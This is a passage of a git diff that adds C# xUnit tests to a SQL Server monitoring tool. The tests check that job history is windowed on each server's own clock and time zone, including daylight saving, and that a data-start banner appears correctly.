+        await SeedCollectorRunAsync(ServerA, _end.AddHours(-2));
+        await SeedCollectorRunAsync(ServerB, _end.AddDays(-2));
+        await SeedRunAsync(ServerB, OffsetB, _end.AddDays(-1), _end.AddDays(-1).AddMinutes(2));
+
+        var service = new LocalDataService(_duckDb);
+        Assert.Equal(Start, await service.GetJobHistoryDataStartAsync(null, Start, _end));
+        var (note, rows) = await NoteAsync(null);
+
+        Assert.Equal(1, rows);
+        Assert.Null(note);
+    }
+
+    /// <summary>A server with neither a job row nor a logged job_history run in the window is not asked: its old run proves nothing here.</summary>
+    [Fact]
+    public async Task AllServers_AServerWithNothingInTheWindow_IsNotAsked()
+    {
+        await SeedClockAsync(ServerA, OffsetA);
+        await SeedClockAsync(ServerB, OffsetB);
+        await SeedCollectorRunAsync(ServerA, Start.AddDays(-20));
+        await SeedCollectorRunAsync(ServerB, _end.AddDays(-2));
+        await SeedRunAsync(ServerB, OffsetB, _end.AddDays(-1), _end.AddDays(-1).AddMinutes(2));
+
+        var floor = await new LocalDataService(_duckDb).GetJobHistoryDataStartAsync(null, Start, _end);
+
+        Assert.Equal(_end.AddDays(-2), floor);
+    }
+
+    /// <summary>One server that covers the whole range is enough: the earliest coverage among the servers reaches the start, so the All
+    /// Servers view shows no note, although the other server's collection began late.</summary>
+    [Fact]
+    public async Task AllServers_OneServerThatCoversTheRange_ShowsNoNote()
+    {
+        await SeedClockAsync(ServerA, OffsetA);
+        await SeedClockAsync(ServerB, OffsetB);
+        await SeedCollectorRunAsync(ServerA, Start.AddDays(-20));
+        await SeedRunAsync(ServerA, OffsetA, Start.AddHours(30), Start.AddHours(30).AddMinutes(2));
+        await SeedCollectorRunAsync(ServerB, _end.AddDays(-2));
+        await SeedRunAsync(ServerB, OffsetB, _end.AddDays(-1), _end.AddDays(-1).AddMinutes(2));
+
+        var (note, rows) = await NoteAsync(null, ServerB, ServerA);
+
+        Assert.Equal(2, rows);
+        Assert.Null(note);
+    }
+
+    /// <summary>
+    /// How the All Servers probe is bounded. Servers are asked in order and the loop stops at the first one whose coverage reaches the
+    /// range's start (the earliest coverage cannot be later), so a fleet whose first server covers costs one probe; with none covering, every
+    /// listed server is asked once; a server with nothing in the window answers nothing and is skipped; and a probe that throws fails the
+    /// whole answer (no note), because a floor from some of the servers could be later than one a server it never reached covers.
+    /// </summary>
+    [Fact]
+    public async Task AllServers_AsksOnlyTheListedServers_StopsAtTheFirstThatCovers_AndAThrowFailsTheNote()
+    {
+        var asked = new List<int>();
+        Func<Dictionary<int, DateTime?>, Func<int, Task<DateTime?>>> probeOf = answers => id => { asked.Add(id); return Task.FromResult(answers[id]); };
+
+        var covering = await LocalDataService.EarliestCoverageAsync([1, 2, 3], probeOf(new() { [1] = Start, [2] = _end.AddDays(-1), [3] = _end.AddDays(-2) }), Start);
+        Assert.Equal(Start, covering);
+        Assert.Equal(new[] { 1 }, asked.ToArray());
+
+        asked.Clear();
+        var earliest = await LocalDataService.EarliestCoverageAsync([1, 2, 3], probeOf(new() { [1] = _end.AddDays(-1), [2] = null, [3] = _end.AddDays(-2) }), Start);
+        Assert.Equal(_end.AddDays(-2), earliest);
+        Assert.Equal(new[] { 1, 2, 3 }, asked.ToArray());
+
+        asked.Clear();
+        Assert.Null(await LocalDataService.EarliestCoverageAsync([1, 2], probeOf(new() { [1] = null, [2] = null }), Start));
+        Assert.Null(await LocalDataService.EarliestCoverageAsync([], probeOf(new()), Start));
+
+        var note = BannerText(
+            () => LocalDataService.EarliestCoverageAsync([1, 2], id => id == 2 ? Task.FromException<DateTime?>(new InvalidOperationException("probe failed")) : Task.FromResult<DateTime?>(_end.AddDays(-1)), Start),
+            Start, _end, FakePage(_end.AddDays(-1), 3), TimeZoneInfo.Utc, inUtc: true);
+        Assert.Null(note);
+    }
+
+    // ── The tab's wiring, pinned from source ──
+
+    private static string LoadJobsBody(string tab)
+    {
+        var start = tab.IndexOf("private async System.Threading.Tasks.Task LoadJobsAsync()", StringComparison.Ordinal);
+        Assert.True(start >= 0, "LoadJobsAsync is not in Lite/Controls/JobHistoryTab.xaml.cs");
+        var next = Regex.Match(tab[(start + 20)..], @"\n    (private|internal|public) ");
+        return next.Success ? tab.Substring(start, 20 + next.Index) : tab[start..];
+    }
+
+    private static string TabSource() =>
+        StripComments(File.ReadAllText(RepoFile("Lite", "Controls", "JobHistoryTab.xaml.cs")).Replace("\r\n", "\n"));
+
+    /// <summary>The window's start is worked out once and the read and the probe both take it: one clock read, no second <c>DateTime.UtcNow</c>.</summary>
+    [Fact]
+    public void TheTab_WorksOutTheWindowsStartOnce_AndHandsItToTheReadAndTheProbe()
+    {
+        var tab = TabSource();
+        var load = LoadJobsBody(tab);
+
+        Assert.Single(Regex.Matches(load, @"var nowUtc = DateTime\.UtcNow;"));
+        Assert.Single(Regex.Matches(load, @"var \(startUtc, rangeEndUtc\) = LiteTimeRange\.BoundsOf\(RangePicker, 24, nowUtc\);"));
+        Assert.Empty(Regex.Matches(load, @"DateTime\.UtcNow\.AddHours"));
+        Assert.Single(Regex.Matches(load, @"_dataService\.GetJobHistoryWithClocksAsync\(startUtc,\s*RowCap,\s*serverId,\s*openTabClocks,\s*rangeEndUtc\)"));
+        Assert.Single(Regex.Matches(load, @"ShowDataStartNoteAsync\(serverId,\s*readClocks,\s*startUtc,\s*rangeEndUtc \?\? nowUtc,\s*all,\s*gen\)"));
+        Assert.Single(Regex.Matches(tab, @"service\.GetJobHistoryDataStartAsync\(serverId,\s*startUtc,\s*endUtc\)"));
+        Assert.Single(Regex.Matches(tab, @"var openTabClocks = _openTabClocks\?\.Invoke\(\);"));
+    }
+
+    /// <summary>The note comes last: after the rows are bound and the loading note is down, from the read before the Status and Category
+    /// filters (<c>all</c>, never <c>filtered</c>), and the cap label stays in the count text.</summary>
+    [Fact]
+    public void TheNote_ComesAfterTheRowsAreBound_FromTheUnfilteredRead()
+    {
+        var load = LoadJobsBody(TabSource());
+
+        var bind = load.IndexOf("_filterManager.UpdateData(filtered)", StringComparison.Ordinal);
+        var loadingDown = load.IndexOf("LoadingMessage.Visibility = Visibility.Collapsed;", Math.Max(bind, 0), StringComparison.Ordinal);
+        var note = load.IndexOf("await ShowDataStartNoteAsync(", StringComparison.Ordinal);
+        Assert.True(bind >= 0 && loadingDown > bind && note > loadingDown, "the note must come after the rows and the loading note");
+        Assert.DoesNotContain("ShowDataStartNoteAsync(serverId, readClocks, startUtc, nowUtc, filtered", load, StringComparison.Ordinal);
+        Assert.Matches(@"JobCountIndicator\.Text = JobHistoryCap\.CountText\(displayCount, all\.Count, RowCap\);", load);
+    }
+
+    /// <summary>The tab's step goes through the shared steps (the cap-aware decision, the guarded probe, the event-time rule and the two
+    /// banner verdicts), not a second copy of them, and asks the data service for the one probe.</summary>
+    [Fact]
+    public void TheNoteStep_GoesThroughTheSharedSteps_AndTheFrameFollowsTheView()
+    {
+        var tab = TabSource();
+        var start = tab.IndexOf("internal static System.Threading.Tasks.Task ShowJobHistoryDataStartAsync(", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var step = tab[start..tab.IndexOf("private async System.Threading.Tasks.Task UpdateAgentStatusAsync(", start, StringComparison.Ordinal)];
+
+        Assert.Contains("ServerTab.CappedGridBannerAsync(runTimes, RowCap, t => t,", step, StringComparison.Ordinal);
+        Assert.Contains("ServerTab.ApplyCappedWindowFloorToBanner(banner, oldestRowShown, startUtc, zone);", step, StringComparison.Ordinal);
+        Assert.Contains("ServerTab.ProbeWindowFloorOrNullAsync(probe, \"Job History\", startUtc, endUtc)", step, StringComparison.Ordinal);
+        Assert.Contains("ServerTab.ApplyWindowFloorToBanner(banner, ServerTab.EarlierOfFloorAndRowShown(floor, ServerTab.EarliestRowShown(runTimes, t => t)), startUtc, zone);", step, StringComparison.Ordinal);
+        Assert.DoesNotContain("GetQueryWindowFloorAsync(", tab, StringComparison.Ordinal);
+
+        var note = tab[tab.IndexOf("private async System.Threading.Tasks.Task ShowDataStartNoteAsync(", StringComparison.Ordinal)..start];
+        // One clock read for one server: the note takes the clock the read windowed on, and makes no second clock read.
+        Assert.Contains("readClocks.TryGetValue(one, out var clock) ? clock.AsTimeZone() : TimeZoneInfo.Utc", note, StringComparison.Ordinal);
+        Assert.DoesNotContain("ReadJobHistoryClockAsync", note, StringComparison.Ordinal);
+        Assert.DoesNotContain("ListedServerIds", tab, StringComparison.Ordinal);
+        Assert.Contains("inUtc: serverId is null", note, StringComparison.Ordinal);
+    }
+
+    /// <summary>The banner sits in its own row above the grid, in the style of the other "Showing since" banners, and the shell hands the
+    /// tab the open tabs' clocks.</summary>
+    [Fact]
+    public void TheBanner_SitsAboveTheGrid_InTheExistingStyle_AndTheShellHandsTheTabsClocks()
+    {
+        var xaml = File.ReadAllText(RepoFile("Lite", "Controls", "JobHistoryTab.xaml")).Replace("\r\n", "\n");
+
+        var banner = Regex.Match(xaml, @"<TextBlock Grid\.Row=""1"" x:Name=""JobHistoryWindowTruncatedBanner""[^>]*/>", RegexOptions.Singleline);
+        Assert.True(banner.Success, "JobHistoryWindowTruncatedBanner is not declared in JobHistoryTab.xaml, in the row above the grid");
+        Assert.Contains("Visibility=\"Collapsed\"", banner.Value, StringComparison.Ordinal);
+        Assert.Contains("Background=\"#22FFAA00\"", banner.Value, StringComparison.Ordinal);
+        Assert.Contains("FontWeight=\"Bold\"", banner.Value, StringComparison.Ordinal);
+        Assert.Equal(3, Regex.Matches(xaml, @"<RowDefinition Height=").Count);
+        Assert.Matches(@"<Grid Grid\.Row=""2"" Margin=""10,0,10,10"">\s*<DataGrid x:Name=""JobHistoryDataGrid""", xaml);
+
+        var shell = StripComments(File.ReadAllText(RepoFile("Lite", "MainWindow.xaml.cs")).Replace("\r\n", "\n"));
+        Assert.Matches(@"JobHistoryContent\.Initialize\(_dataService, \(\) =>.*?return map;\s*\}, OpenTabClocks\);", shell.Replace("\n", " "));
+    }
+
+    // ── Helpers ──
+
+    private static string StripComments(string lfSource) =>
+        Regex.Replace(Regex.Replace(lfSource, @"/\*.*?\*/", string.Empty, RegexOptions.Singleline), @"//[^\n]*", string.Empty);
+
+    private static string RepoFile(string folder, string subFolderOrFile, string? file = null, [CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", folder, subFolderOrFile, file ?? string.Empty));
+
+}
diff --git a/Lite.Tests/JobHistoryServerClockWindowTests.cs b/Lite.Tests/JobHistoryServerClockWindowTests.cs
new file mode 100644
index 0000000000..a428343d5b
--- /dev/null
+++ b/Lite.Tests/JobHistoryServerClockWindowTests.cs
@@ -0,0 +1,294 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4966: <see cref="LocalDataService.GetJobHistoryAsync"/> windows on <c>run_datetime</c>, the monitored server's LOCAL
+/// wall clock, so the window has to be worked out on THAT server's clock. It used to compare the stored wall clock with
+/// the host's (<c>DateTime.Now.AddHours(-hoursBack)</c>), which is right only when the server lives in the host's zone:
+/// a server 5 hours ahead kept a run from hours before the window, and a server 5 hours behind dropped a run from
+/// inside it. Each test names its server's offset RELATIVE TO THE HOST'S, so the same shift happens on a UTC CI
+/// runner and on a developer machine in any zone. The grid still shows the stored wall clock (the time SSMS shows), so
+/// every test also checks <see cref="JobHistoryRow.RunDateTime"/> comes back as stored.
+/// </summary>
+public sealed class JobHistoryServerClockWindowTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const int ServerA = 601;
+    private const int ServerB = 602;
+    private const int ServerNoClock = 603;
+    private const int WindowHours = 2;
+
+    private readonly DuckDbInitializer _duckDb;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 1;
+
+    public JobHistoryServerClockWindowTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    public void Dispose() => _seedConn?.Dispose();
+
+    /// <summary>This machine's UTC offset now, in minutes: what a server "on the host's own zone" reports.</summary>
+    private static int HostOffsetMinutes() =>
+        (int)TimeZoneInfo.Local.GetUtcOffset(DateTime.UtcNow).TotalMinutes;
+
+    /// <summary>The server's wall clock at <paramref name="utc"/> for a fixed offset, at whole seconds, the way
+    /// <c>sysjobhistory</c> stores it (run_date / run_time carry no sub-second part).</summary>
+    private static DateTime Wall(DateTime utc, int offsetMinutes)
+    {
+        var t = utc.AddMinutes(offsetMinutes);
+        return new DateTime(t.Year, t.Month, t.Day, t.Hour, t.Minute, t.Second, DateTimeKind.Unspecified);
+    }
+
+    private async Task<DuckDBConnection> SeedConnectionAsync()
+    {
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+
+        return _seedConn;
+    }
+
+    /// <summary>One collected clock for the server: a fixed offset, no zone id (a SQL Server before 2022).</summary>
+    private async Task SeedClockAsync(int serverId, int offsetMinutes, string? timeZoneId = null)
+    {
+        var connection = await SeedConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"INSERT INTO server_properties
+            (collection_id, collection_time, server_id, server_name,
+             edition, product_version, product_level, engine_edition,
+             cpu_count, hyperthread_ratio, physical_memory_mb, utc_offset_minutes, time_zone_id)
+            VALUES ($1, $2, $3, 'TestSrv', 'Developer Edition', '16.0.4150.1', 'RTM', 3, 8, 1, 16384, $4, $5)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = -_nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow });
+        cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = offsetMinutes });
+        cmd.Parameters.Add(new DuckDBParameter { Value = (object?)timeZoneId ?? DBNull.Value });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>One successful step-0 outcome whose <c>run_datetime</c> is <paramref name="wall"/>, the server's own clock.</summary>
+    private async Task InsertRunAsync(int serverId, string jobId, DateTime wall)
+    {
+        var connection = await SeedConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO job_history
+    (job_history_id, collection_time, server_id, server_name, instance_id, job_id, job_name,
+     job_enabled, category_name, step_id, step_name, run_status, run_status_desc, run_datetime,
+     run_duration_seconds, retries_attempted, message)
+VALUES
+    ($1, $2, $3, $4, $5, $6, $7, TRUE, 'Uncategorized (Local)', 0, '(Job outcome)', 1, 'The job succeeded.', $8, 30, 0, NULL)";
+        var id = _nextId++;
+        cmd.Parameters.Add(new DuckDBParameter { Value = id });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow });
+        cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = $"S{serverId}" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = id });
+        cmd.Parameters.Add(new DuckDBParameter { Value = jobId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = jobId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = wall });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>
+    /// A server 5 hours off the host, either way. The run 30 minutes ago is inside a 2-hour window and the run 3 hours ago is
+    /// outside it, on the server's own clock. Against the host's clock the server 5 hours ahead kept BOTH (its 3-hours-ago run
+    /// reads as 2 hours in the host's future) and the server 5 hours behind dropped BOTH (its 30-minutes-ago run reads as
+    /// 5.5 hours old). The stored wall clock comes back as stored.
+    /// </summary>
+    [Theory]
+    [InlineData(300)]
+    [InlineData(-300)]
+    public async Task ServerFiveHoursOffTheHost_WindowsOnItsOwnClock(int hoursOffTheHostMinutes)
+    {
+        var offset = HostOffsetMinutes() + hoursOffTheHostMinutes;
+        await SeedClockAsync(ServerA, offset);
+        var now = DateTime.UtcNow;
+        var inside = Wall(now.AddMinutes(-30), offset);
+        await InsertRunAsync(ServerA, "inside_job", inside);
+        await InsertRunAsync(ServerA, "outside_job", Wall(now.AddHours(-3), offset));
+
+        var rows = await new LocalDataService(_duckDb).GetJobHistoryAsync(hoursBack: WindowHours, limit: 100, serverId: ServerA);
+
+        var row = Assert.Single(rows);
+        Assert.Equal("inside_job", row.JobId);
+        Assert.Equal(inside, row.RunDateTime);
+    }
+
+    /// <summary>The control: a server on the host's own zone windows exactly as the read always did, and keeps its newest-first order.</summary>
+    [Fact]
+    public async Task ServerOnTheHostsOwnZone_ReturnsTheSameRunsAsBefore()
+    {
+        var offset = HostOffsetMinutes();
+        await SeedClockAsync(ServerA, offset);
+        var now = DateTime.UtcNow;
+        await InsertRunAsync(ServerA, "older_inside", Wall(now.AddMinutes(-90), offset));
+        await InsertRunAsync(ServerA, "newer_inside", Wall(now.AddMinutes(-30), offset));
+        await InsertRunAsync(ServerA, "outside_job", Wall(now.AddHours(-3), offset));
+
+        var scoped = await new LocalDataService(_duckDb).GetJobHistoryAsync(hoursBack: WindowHours, limit: 100, serverId: ServerA);
+        var fleet = await new LocalDataService(_duckDb).GetJobHistoryAsync(hoursBack: WindowHours, limit: 100, serverId: null);
+
+        Assert.Equal(["newer_inside", "older_inside"], scoped.Select(r => r.JobId).ToArray());
+        Assert.Equal(["newer_inside", "older_inside"], fleet.Select(r => r.JobId).ToArray());
+        Assert.Equal(Wall(now.AddMinutes(-30), offset), scoped[0].LastSuccessfulRun);
+    }
+
+    /// <summary>
+    /// The all-servers view, two servers in different zones: each is windowed on its own clock, and the rows come back newest
+    /// first by the real instant of each run, not by the wall clock its server stored. Server A is 5 hours ahead of the host and
+    /// server B 5 hours behind; A's last run was 40 minutes ago and B's 20 minutes ago, so B's is the newest although A's
+    /// stored wall clock is 10 hours later than B's. Each server's run from 3 hours ago is outside the window.
+    /// </summary>
+    [Fact]
+    public async Task AllServers_WindowEachServerOnItsOwnClock_AndOrderByTheRealInstant()
+    {
+        var offsetA = HostOffsetMinutes() + 300;
+        var offsetB = HostOffsetMinutes() - 300;
+        await SeedClockAsync(ServerA, offsetA);
+        await SeedClockAsync(ServerB, offsetB);
+        var now = DateTime.UtcNow;
+        await InsertRunAsync(ServerA, "a_inside", Wall(now.AddMinutes(-40), offsetA));
+        await InsertRunAsync(ServerA, "a_outside", Wall(now.AddHours(-3), offsetA));
+        await InsertRunAsync(ServerB, "b_inside", Wall(now.AddMinutes(-20), offsetB));
+        await InsertRunAsync(ServerB, "b_outside", Wall(now.AddHours(-3), offsetB));
+
+        var rows = await new LocalDataService(_duckDb).GetJobHistoryAsync(hoursBack: WindowHours, limit: 100, serverId: null);
+
+        Assert.Equal(["b_inside", "a_inside"], rows.Select(r => r.JobId).ToArray());
+        Assert.Equal(Wall(now.AddMinutes(-20), offsetB), rows[0].RunDateTime);
+        Assert.Equal(Wall(now.AddMinutes(-40), offsetA), rows[1].RunDateTime);
+    }
+
+    /// <summary>The cap takes the newest runs by real instant: with room for one, B's run from 20 minutes ago beats A's from 40
+    /// even though A's stored wall clock is the later one.</summary>
+    [Fact]
+    public async Task AllServers_TheCapKeepsTheNewestRunByRealInstant()
+    {
+        var offsetA = HostOffsetMinutes() + 300;
+        var offsetB = HostOffsetMinutes() - 300;
+        await SeedClockAsync(ServerA, offsetA);
+        await SeedClockAsync(ServerB, offsetB);
+        var now = DateTime.UtcNow;
+        await InsertRunAsync(ServerA, "a_inside", Wall(now.AddMinutes(-40), offsetA));
+        await InsertRunAsync(ServerB, "b_inside", Wall(now.AddMinutes(-20), offsetB));
+
+        var rows = await new LocalDataService(_duckDb).GetJobHistoryAsync(hoursBack: WindowHours, limit: 1, serverId: null);
+
+        Assert.Equal("b_inside", Assert.Single(rows).JobId);
+    }
+
+    /// <summary>
+    /// A server with no collected clock yet (its server_properties row has not landed) is windowed on the machine's clock, which
+    /// is what the read did for every server before the window followed the server, and what the Alert History tab ends on when
+    /// a server has neither a collected clock nor an open tab. The viewer reads such a server's times as UTC instead, because its
+    /// store reads an uncollected offset as 0. Another server's clock is not borrowed.
+    /// </summary>
+    [Fact]
+    public async Task ServerWithNoCollectedClock_IsWindowedOnTheMachinesClock()
+    {
+        /* A fixed machine zone that is not UTC (+05:30), named through the service's seam: a fallback to UTC fails this on any host. */
+        var machine = TimeZoneInfo.CreateCustomTimeZone("test+0530", TimeSpan.FromMinutes(330), "test+0530", "test+0530");
+        var host = 330;
+        var offsetB = host - 300;
+        await SeedClockAsync(ServerB, offsetB);
+        var now = DateTime.UtcNow;
+        await InsertRunAsync(ServerNoClock, "no_clock_inside", Wall(now.AddMinutes(-30), host));
+        await InsertRunAsync(ServerNoClock, "no_clock_outside", Wall(now.AddHours(-3), host));
+        await InsertRunAsync(ServerB, "b_inside", Wall(now.AddMinutes(-20), offsetB));
+
+        var service = new LocalDataService(_duckDb) { MachineZone = machine };
+        var scoped = await service.GetJobHistoryAsync(hoursBack: WindowHours, limit: 100, serverId: ServerNoClock);
+        var fleet = await service.GetJobHistoryAsync(hoursBack: WindowHours, limit: 100, serverId: null);
+
+        Assert.Equal("no_clock_inside", Assert.Single(scoped).JobId);
+        Assert.Equal(["b_inside", "no_clock_inside"], fleet.Select(r => r.JobId).ToArray());
+    }
+
+    /// <summary>
+    /// #4966: the link between a server's collected clock and the machine's. A server with no collected clock yet, whose open tab keeps
+    /// the fixed offset its connect probe read (here 5 hours off the machine), is windowed on that tab's clock, the chain the Alert
+    /// History tab uses. The tab layer hands the open tabs' clocks in as a plain dictionary (the open tabs are UI objects). Without the
+    /// link the server fell straight to the machine's clock and kept both runs.
+    /// </summary>
+    [Fact]
+    public async Task ServerWithNoCollectedClock_AndAnOpenTabFiveHoursOffTheMachine_IsWindowedOnTheTabsClock()
+    {
+        var tabOffset = HostOffsetMinutes() + 300;
+        var now = DateTime.UtcNow;
+        await InsertRunAsync(ServerNoClock, "inside_job", Wall(now.AddMinutes(-30), tabOffset));
+        await InsertRunAsync(ServerNoClock, "outside_job", Wall(now.AddHours(-3), tabOffset));
+        var tabs = new Dictionary<int, ServerClock> { [ServerNoClock] = ServerClock.FixedOffset(tabOffset) };
+
+        var rows = await new LocalDataService(_duckDb).GetJobHistoryAsync(now.AddHours(-WindowHours), 100, ServerNoClock, tabs);
+
+        Assert.Equal("inside_job", Assert.Single(rows).JobId);
+    }
+
+    /// <summary>The chain's order: a collected clock beats the open tab's, and another server's tab clock is never borrowed.</summary>
+    [Fact]
+    public async Task ACollectedClock_BeatsTheOpenTabsClock_AndAnotherServersTabIsNotBorrowed()
+    {
+        var host = HostOffsetMinutes();
+        await SeedClockAsync(ServerA, host);
+        var now = DateTime.UtcNow;
+        await InsertRunAsync(ServerA, "a_inside", Wall(now.AddMinutes(-30), host));
+        await InsertRunAsync(ServerA, "a_outside", Wall(now.AddHours(-3), host));
+        await InsertRunAsync(ServerNoClock, "no_clock_inside", Wall(now.AddMinutes(-30), host));
+        await InsertRunAsync(ServerNoClock, "no_clock_outside", Wall(now.AddHours(-3), host));
+        var tabs = new Dictionary<int, ServerClock>
+        {
+            [ServerA] = ServerClock.FixedOffset(host + 300),
+            [ServerB] = ServerClock.FixedOffset(host - 300)
+        };
+
+        var rows = await new LocalDataService(_duckDb).GetJobHistoryAsync(now.AddHours(-WindowHours), 100, null, tabs);
+
+        Assert.Equal(["a_inside", "no_clock_inside"], rows.Select(r => r.JobId).OrderBy(j => j, StringComparer.Ordinal).ToArray());
+    }
+
+    /// <summary>
+    /// Daylight saving, pinned (#4966): a server whose collected clock is a zone with daylight saving. One window starts in January
+    /// (12:00 Eastern Standard) and one in July (12:00 Eastern Daylight); each has a run 15 minutes after its start (kept) and one 15
+    /// minutes before it (dropped). The read converts each run with the clock at the run's own date, so both seasons come out right;
+    /// any single offset (the one in force today included) gets one of them wrong.
+    /// </summary>
+    [Theory]
+    [InlineData(2026, 1, 15, 17)]
+    [InlineData(2026, 7, 15, 16)]
+    public async Task AWindowStartingInWinterOrSummer_ConvertsEachRunWithTheClockAtItsOwnDate(int year, int month, int day, int startUtcHour)
+    {
+        await SeedClockAsync(ServerA, -300, "Eastern Standard Time");
+        var startUtc = new DateTime(year, month, day, startUtcHour, 0, 0, DateTimeKind.Utc);
+        var wallStart = new DateTime(year, month, day, 12, 0, 0, DateTimeKind.Unspecified);
+        await InsertRunAsync(ServerA, "kept", wallStart.AddMinutes(15));
+        await InsertRunAsync(ServerA, "dropped", wallStart.AddMinutes(-15));
+
+        var rows = await new LocalDataService(_duckDb).GetJobHistoryAsync(startUtc, 100, ServerA);
+
+        Assert.Equal("kept", Assert.Single(rows).JobId);
+    }
+}
diff --git a/Lite.Tests/LatchStatsCollectorDefinitionTests.cs b/Lite.Tests/LatchStatsCollectorDefinitionTests.cs
index 8a76c4a9b7..15b1475cfd 100644
--- a/Lite.Tests/LatchStatsCollectorDefinitionTests.cs
+++ b/Lite.Tests/LatchStatsCollectorDefinitionTests.cs
@@ -26,7 +26,7 @@ public sealed class LatchStatsCollectorDefinitionTests
     private const string ExpectedQuery = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     latch_class = ls.latch_class,
     waiting_requests_count = ls.waiting_requests_count,
     wait_time_ms = ls.wait_time_ms,
diff --git a/Lite.Tests/LatestValueLookbackTests.cs b/Lite.Tests/LatestValueLookbackTests.cs
index f357e996ba..dcd8666976 100644
--- a/Lite.Tests/LatestValueLookbackTests.cs
+++ b/Lite.Tests/LatestValueLookbackTests.cs
@@ -372,8 +372,8 @@ public void Dispose()
     [Fact]
     public async Task AGhostInTheArchive_IsNotCounted_AndALiveSeriesArchivedMinutesAgoStillIs()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         var end = LatestValueSeed.TruncateToSeconds(DateTime.UtcNow);
         using (var connection = new DuckDBConnection($"Data Source={_dbPath}"))
@@ -530,7 +530,7 @@ INSERT INTO file_io_stats
 VALUES ($1, $2, $3, 'latest-value-lookback', $4, $5, 'ROWS', $6)",
             Interlocked.Decrement(ref s_nextId), at, serverId, database, file, sizeMb);
 
-    private static Task InsertSizeAsync(DuckDBConnection connection, int serverId, DateTime at,
+    public static Task InsertSizeAsync(DuckDBConnection connection, int serverId, DateTime at,
         string database, int fileId, string fileType, string file, decimal totalMb, bool percentGrowth,
         string volume, decimal volumeTotalMb, decimal volumeFreeMb) =>
         InsertAsync(connection, @"
@@ -563,7 +563,7 @@ INSERT INTO memory_stats
 VALUES ($1, $2, $3, 'latest-value-lookback', $4, $5, $6)",
             Interlocked.Decrement(ref s_nextId), at, serverId, physicalMb, physicalMb / 2, physicalMb * 3 / 4);
 
-    private static Task InsertDatabaseConfigAsync(DuckDBConnection connection, int serverId, DateTime capturedAt,
+    public static Task InsertDatabaseConfigAsync(DuckDBConnection connection, int serverId, DateTime capturedAt,
         string database, bool autoShrink, bool rcsiOn) =>
         InsertAsync(connection, @"
 INSERT INTO database_config
diff --git a/Lite.Tests/Lite.Tests.csproj b/Lite.Tests/Lite.Tests.csproj
index beb2f8821a..068aae5a52 100644
--- a/Lite.Tests/Lite.Tests.csproj
+++ b/Lite.Tests/Lite.Tests.csproj
@@ -15,6 +15,8 @@
 
   <ItemGroup>
     <PackageReference Include="xunit.v3" />
+    <!-- The MCP host's POST content-type guard is run through a real ASP.NET Core pipeline (McpJsonPostGuardTests). -->
+    <PackageReference Include="Microsoft.AspNetCore.TestHost" />
   </ItemGroup>
 
   <ItemGroup>
@@ -26,13 +28,17 @@
          neighbour, is a failure with no user behind it; so this host states a budget orders of magnitude
          larger and the acquisition waits the hold out. Short of forever on purpose - a wedged lock still
          fails, with the same message, rather than hanging the suite. The shipped app declares nothing
-         here and keeps LocalDataService.DefaultWriteLockBudget.
-
-         This comment carries no apostrophe, deliberately. CrossAppGuardCiGateTests reads this file with
-         a regex that treats one as an attribute delimiter, so an unbalanced pair swallows the quoted
-         attribute values after it - including the linked cross-app Compile below, whose absence the
-         guard reports as a moved blind spot rather than as a comment. -->
+         here and keeps LocalDataService.DefaultWriteLockBudget. -->
     <RuntimeHostConfigurationOption Include="PerformanceMonitorLite.WriteLockBudgetSeconds" Value="120" />
+    <!-- #5596: WPF builds one WeakEventTable per STA thread that touches a WeakEventManager, and each table
+         registers a ProcessExit handler. At exit that handler runs on the main thread, and when the table's
+         own thread is gone it asks the dead dispatcher to purge the table with a 300 ms timeout nobody ever
+         answers: about 0.3 seconds per STA test thread, spent after the run has returned. About fifty test files
+         start their own STA thread, so the exit stage grew past the 11 seconds xUnit v3 gives a process after the
+         run returns, and the runner printed "Foreground threads were left running" with exit code 1 and 0 failed
+         tests. This WPF switch (WindowsBase, BaseAppContextSwitches) makes the handler purge the table directly.
+         WpfExitSwitchTests pins that the switch is set, and that the runtime still knows its name. -->
+    <RuntimeHostConfigurationOption Include="Switch.MS.Internal.DoNotInvokeInWeakEventTableShutdownListener" Value="true" />
   </ItemGroup>
 
   <ItemGroup>
@@ -45,6 +51,22 @@
          Its own coverage stays in Darling.Tests/CSharpSourceWalkerTests.cs - the implementation Lite compiles
          is byte-identical to the one those tests exercise. -->
